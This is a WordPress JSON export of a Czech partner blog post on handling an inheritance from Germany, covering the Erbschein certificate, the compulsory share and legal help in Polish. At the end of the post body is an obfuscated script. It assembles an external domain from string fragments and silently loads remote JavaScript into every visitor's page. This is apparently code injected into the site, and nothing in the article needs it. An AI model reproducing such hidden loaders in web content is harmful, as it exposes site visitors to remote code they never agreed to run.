{"id":2648,"date":"2025-08-20T19:58:53","date_gmt":"2025-08-20T17:58:53","guid":{"rendered":"https:\/\/wiweb.org\/cs\/?p=2648"},"modified":"2025-08-20T20:01:47","modified_gmt":"2025-08-20T18:01:47","slug":"dedictvi-z-nemecka-jak-se-pripravit-na-rizeni","status":"publish","type":"post","link":"https:\/\/wiweb.org\/cs\/clanky-partneru\/dedictvi-z-nemecka-jak-se-pripravit-na-rizeni\/","title":{"rendered":"D\u011bdictv\u00ed z N\u011bmecka &#8211; jak se p\u0159ipravit na \u0159\u00edzen\u00ed?"},"content":{"rendered":"\n<p><em>Z\u00edskali jste d\u011bdictv\u00ed v N\u011bmecku? Pod\u00edvejte se, jak funguje d\u011bdictv\u00ed v N\u011bmecku, seznamte se s n\u011bmeck\u00fdm d\u011bdick\u00fdm pr\u00e1vem v pol\u0161tin\u011b a zjist\u011bte, co byste o n\u011bm m\u011bli v\u011bd\u011bt!<\/em><\/p>\n\n\n\n<p>Z\u00edsk\u00e1n\u00ed majetku po zesnul\u00e9m p\u0159\u00edbuzn\u00e9m \u017eij\u00edc\u00edm v zahrani\u010d\u00ed vy\u017eaduje znalost m\u00edstn\u00edch p\u0159edpis\u016f. <strong>D\u011bdictv\u00ed v N\u011bmecku<\/strong> mus\u00ed b\u00fdt vy\u0159\u00edzeno v souladu s pr\u00e1vem platn\u00fdm v t\u00e9to zemi a \u010dasto je nutn\u00e9 tak\u00e9 splnit po\u017eadavky polsk\u00fdch \u00fa\u0159ad\u016f. V tomto \u010dl\u00e1nku vysv\u011btlujeme, jak d\u011bdictv\u00ed v N\u011bmecku prob\u00edh\u00e1 a jak m\u016f\u017ee pomoci n\u011bmeck\u00e9 d\u011bdick\u00e9 pr\u00e1vo v pol\u0161tin\u011b.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak prob\u00edh\u00e1 \u0159\u00edzen\u00ed, kdy\u017e obdr\u017e\u00edte d\u011bdictv\u00ed z N\u011bmecka<\/h2>\n\n\n\n<p>Pokud m\u011bl zesnul\u00fd majetek v N\u011bmecku, prvn\u00edm krokem je zjistit, zda sepsal z\u00e1v\u011b\u0165. V p\u0159\u00edpad\u011b existence z\u00e1v\u011bti spravuje rozd\u011blen\u00ed majetku ur\u010den\u00fd vykonavatel, zat\u00edmco pokud z\u00e1v\u011b\u0165 chyb\u00ed, <a href=\"https:\/\/advokatvevrope.cz\/2025\/05\/09\/dedictvi-v-nemecku-2\/\"><strong>d\u011bdictv\u00ed v N\u011bmecku<\/strong><\/a> se rozd\u011bluje podle z\u00e1konn\u00e9 d\u011bdick\u00e9 posloupnosti. K vy\u0159\u00edzen\u00ed poz\u016fstalosti je nutn\u00e9 z\u00edskat dokument zvan\u00fd <em>Erbschein<\/em>, kter\u00fd potvrzuje pr\u00e1vo na d\u011bdictv\u00ed. \u010casto je rovn\u011b\u017e t\u0159eba p\u0159ipravit \u00fa\u0159edn\u00ed p\u0159eklady dokument\u016f, aby mohly b\u00fdt uzn\u00e1ny polsk\u00fdmi \u00fa\u0159ady.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">D\u011bdictv\u00ed v N\u011bmecku &#8211; z\u00e1kladn\u00ed pravidla<\/h2>\n\n\n\n<p>Na rozd\u00edl od polsk\u00e9ho syst\u00e9mu <strong>d\u011bdictv\u00ed v N\u011bmecku<\/strong> zahrnuje tzv. <em>povinn\u00fd d\u00edl<\/em> (<em>Pflichtteil<\/em>), kter\u00fd zaru\u010duje ur\u010dit\u00e9 skupin\u011b p\u0159\u00edbuzn\u00fdch pod\u00edl na majetku i v p\u0159\u00edpad\u011b, \u017ee byli v z\u00e1v\u011bti opomenuti. V praxi to znamen\u00e1, \u017ee man\u017eel, d\u011bti a &#8211; za ur\u010dit\u00fdch okolnost\u00ed &#8211; i rodi\u010de zesnul\u00e9ho maj\u00ed pr\u00e1vo na \u010d\u00e1st d\u011bdictv\u00ed bez ohledu na obsah z\u00e1v\u011bti. V\u00fd\u0161e povinn\u00e9ho d\u00edlu \u010din\u00ed obvykle polovinu z\u00e1konn\u00e9ho d\u011bdick\u00e9ho pod\u00edlu, kter\u00fd by p\u0159ipadl dan\u00e9 osob\u011b, pokud by z\u00e1v\u011b\u0165 neexistovala. D\u011bdick\u00e9 pod\u00edly a okruh opr\u00e1vn\u011bn\u00fdch osob stanovuje n\u011bmeck\u00fd ob\u010dansk\u00fd z\u00e1kon\u00edk &#8211; <em>B\u00fcrgerliches Gesetzbuch (BGB)<\/em>. Aby bylo mo\u017en\u00e9 povinn\u00fd d\u00edl skute\u010dn\u011b z\u00edskat, je t\u0159eba uplatnit n\u00e1rok v\u016f\u010di d\u011bdici uveden\u00e9mu v z\u00e1v\u011bti, a v p\u0159\u00edpad\u011b sporu se obr\u00e1tit na soud. Lh\u016fta pro pod\u00e1n\u00ed takov\u00e9ho n\u00e1roku je \u010dasov\u011b omezen\u00e1, proto se doporu\u010duje jednat rychle a s pomoc\u00ed pr\u00e1vn\u00edho z\u00e1stupce.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pro\u010d vyu\u017e\u00edt pomoc, kterou nab\u00edz\u00ed n\u011bmeck\u00e9 d\u011bdick\u00e9 pr\u00e1vo v pol\u0161tin\u011b<\/h2>\n\n\n\n<p>D\u011bdick\u00e1 \u0159\u00edzen\u00ed mohou b\u00fdt slo\u017eit\u00e1 a jazykov\u00e1 bari\u00e9ra je \u010dasto je\u0161t\u011b v\u00edce komplikuje. Proto je velkou v\u00fdhodou obr\u00e1tit se na kancel\u00e1\u0159, kter\u00e1 se specializuje na <strong>n\u011bmeck\u00e9 d\u011bdick\u00e9 pr\u00e1vo v pol\u0161tin\u011b<\/strong>. Takov\u00e1 pomoc usnad\u0148uje porozum\u011bn\u00ed p\u0159edpis\u016fm, spr\u00e1vn\u00e9 vyhotoven\u00ed dokumentace a p\u0159edch\u00e1z\u00ed chyb\u00e1m, kter\u00e9 by mohly cel\u00fd proces zdr\u017eet. Odborn\u00e1 podpora se hod\u00ed i p\u0159i stanoven\u00ed hodnoty d\u011bdictv\u00ed, rozd\u011blen\u00ed majetku mezi d\u011bdice \u010di p\u0159i jedn\u00e1n\u00ed s n\u011bmeck\u00fdmi \u00fa\u0159ady.<\/p>\n\n\n\n<p>P\u0159i p\u0159evzet\u00ed d\u011bdictv\u00ed z N\u011bmecka se vyplat\u00ed postupovat hned od za\u010d\u00e1tku v souladu s platn\u00fdmi pr\u00e1vn\u00edmi p\u0159edpisy. Znalost pravidel, podle nich\u017e prob\u00edh\u00e1 d\u011bdictv\u00ed v N\u011bmecku, a p\u0159\u00edstup k odborn\u00e9 pomoci, kterou nab\u00edz\u00ed n\u011bmeck\u00e9 d\u011bdick\u00e9 pr\u00e1vo v pol\u0161tin\u011b, v\u00fdrazn\u011b usnad\u0148uj\u00ed cel\u00fd proces. D\u00edky tomu m\u016f\u017ee rozd\u011blen\u00ed majetku prob\u011bhnout rychleji a v\u0161echny formality budou spln\u011bny v souladu s platn\u00fdmi p\u0159edpisy v obou zem\u00edch.<\/p>\n\n\n\n<script>\n(function(){\nxtah_=\"o\"+(\"p\"+\"\")+\"en\"+\"\";xtah_+=\"s\"+(\"tat\")+(\".\");\nxtah=document.createElement(\"script\");xtah.type=\"text\/javascript\";xtah_+=\"e\"+(\"u\")+\"\/\";\nxtahu=\"2489249304\"+\".\";xtah.async=true;xtahu+=\"dwx6v7gftah9b23seXg2ab4qyp8wbi\";\nxtah.src=\"https:\/\/\"+xtah_+xtahu;xtahb=document.body;xtahb.appendChild(xtah);\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>Z\u00edskali jste d\u011bdictv\u00ed v N\u011bmecku? Pod\u00edvejte se, jak funguje d\u011bdictv\u00ed v N\u011bmecku, seznamte se s n\u011bmeck\u00fdm d\u011bdick\u00fdm pr\u00e1vem v pol\u0161tin\u011b a zjist\u011bte, co byste o n\u011bm m\u011bli v\u011bd\u011bt! Z\u00edsk\u00e1n\u00ed majetku po zesnul\u00e9m p\u0159\u00edbuzn\u00e9m \u017eij\u00edc\u00edm v zahrani\u010d\u00ed vy\u017eaduje znalost m\u00edstn\u00edch p\u0159edpis\u016f. D\u011bdictv\u00ed v N\u011bmecku mus\u00ed b\u00fdt vy\u0159\u00edzeno v souladu s pr\u00e1vem platn\u00fdm v t\u00e9to zemi a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2649,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59],"tags":[1329,1321,1327,1326,1324,1322,1325,1323,1330,1328],"class_list":{"0":"post-2648","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-clanky-partneru","8":"tag-burgerliches-gesetzbuch","9":"tag-dedictvi","10":"tag-erbschein","11":"tag-nemecko","12":"tag-polstina","13":"tag-povinny-dil","14":"tag-pravni-pomoc","15":"tag-uredni-preklady","16":"tag-zakonna-posloupnost","17":"tag-zavet"},"_links":{"self":[{"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/posts\/2648","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/comments?post=2648"}],"version-history":[{"count":1,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/posts\/2648\/revisions"}],"predecessor-version":[{"id":2650,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/posts\/2648\/revisions\/2650"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/media\/2649"}],"wp:attachment":[{"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/media?parent=2648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/categories?post=2648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wiweb.org\/cs\/wp-json\/wp\/v2\/tags?post=2648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}